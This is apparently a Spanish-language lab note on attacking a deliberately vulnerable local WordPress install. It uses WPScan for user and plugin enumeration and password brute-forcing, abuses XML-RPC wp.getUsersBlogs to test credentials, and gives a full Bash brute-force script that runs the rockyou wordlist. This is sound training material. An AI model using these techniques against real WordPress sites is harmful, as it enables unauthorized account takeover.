Wordpress

🐞 Laboratorio WordPress Vulnerable

🚀Despliegue

🔍 Enumeración de usuarios y vulnerabilidades

En la página de login:

🛠 Uso de WPScan para auditoría de seguridad

🏁 Escaneo básico:

wpscan --url http://localhost:31337  

Pasted image 20250710181353.png
🔎 Enumerar usuarios y plugins vulnerables:

wpscan --url http://localhost:31337 -e vp,u

🔑 Uso de API Token para más información

wpscan --url http://localhost:31337 -e vp,u --api-token="tu_token"

🔍 Más datos sobre vulnerabilidades y detalles.
Pasted image 20250710181536.png
🔐 Fuerza bruta con WPScan
Para probar contraseñas con usuario conocido (unai) obtenido por el escaneo anterior:

wpscan --url http://localhost:31337  -U unai -P /usr/share/wordlists/rockyou.txt

Resultado: contraseña encontrada 👉 batman 🎉
Pasted image 20250710185746.png

🚪 Vulnerabilidad en WordPress vía xmlrpc.php

Si el endpoint http://localhost:31337/xmlrpc.php está expuesto, WordPress puede ser vulnerable a ataques de fuerza bruta usando métodos XML-RPC.

🔎 Listar métodos disponibles

Archivo XML (file.xml):

<?xml version="1.0" encoding="utf-8"?> 
<methodCall> 
<methodName>system.listMethods</methodName> 
<params></params> 
</methodCall>
curl -s -X POST "http://localhost:31337/xmlrpc.php" -d@file.xml

Nos interesa wp.getUserBlogs
Comando para enviar la petición:

curl -s -X POST "http://localhost:31337/xmlrpc.php" -d@file.xml

Pasted image 20250710182054.png
wp.getUserBlogs Sirve para validar usuarios y contraseñas a través de XML-RPC.

<?xml version="1.0" encoding="UTF-8"?>
<methodCall> 
<methodName>wp.getUsersBlogs</methodName> 
<params> 
<param><value>unai</value></param> 
<param><value>incorrecta</value></param> 
</params> 
</methodCall>

Respuesta: contraseña incorrecta. ❌
Pasted image 20250710183356.png
XML para prueba con contraseña correcta:

<?xml version="1.0" encoding="UTF-8"?>
<methodCall> 
<methodName>wp.getUsersBlogs</methodName> 
<params> 
<param><value>unai</value></param> 
<param><value>batman</value></param> 
</params> 
</methodCall>

Pasted image 20250710183512.png
🛠️ Script Bash para fuerza bruta automática

#!/bin/bash
function ctrl_c(){
    echo -e "\n\n[!] Saliendo ... \n"
    exit 1
}
trap ctrl_c SIGINT

function createXML(){
    password=$1
    xmlFile="<?xml version=\"1.0\" encoding=\"UTF-8\"?>
    <methodCall>
        <methodName>wp.getUsersBlogs</methodName>
        <params>
            <param><value>unai</value></param>
            <param><value>$password</value></param>
        </params>
    </methodCall>"
    echo "$xmlFile" > file.xml
    response=$(curl -s -X POST "http://localhost:31337/xmlrpc.php" -d@file.xml)
    if ! echo "$response" | grep -q "Incorrect username or password."; then
        echo -e "\n[+] La contraseña es: $password"
        exit 0
    fi
}

cat /usr/share/wordlists/rockyou.txt | while read password; do
    createXML $password
done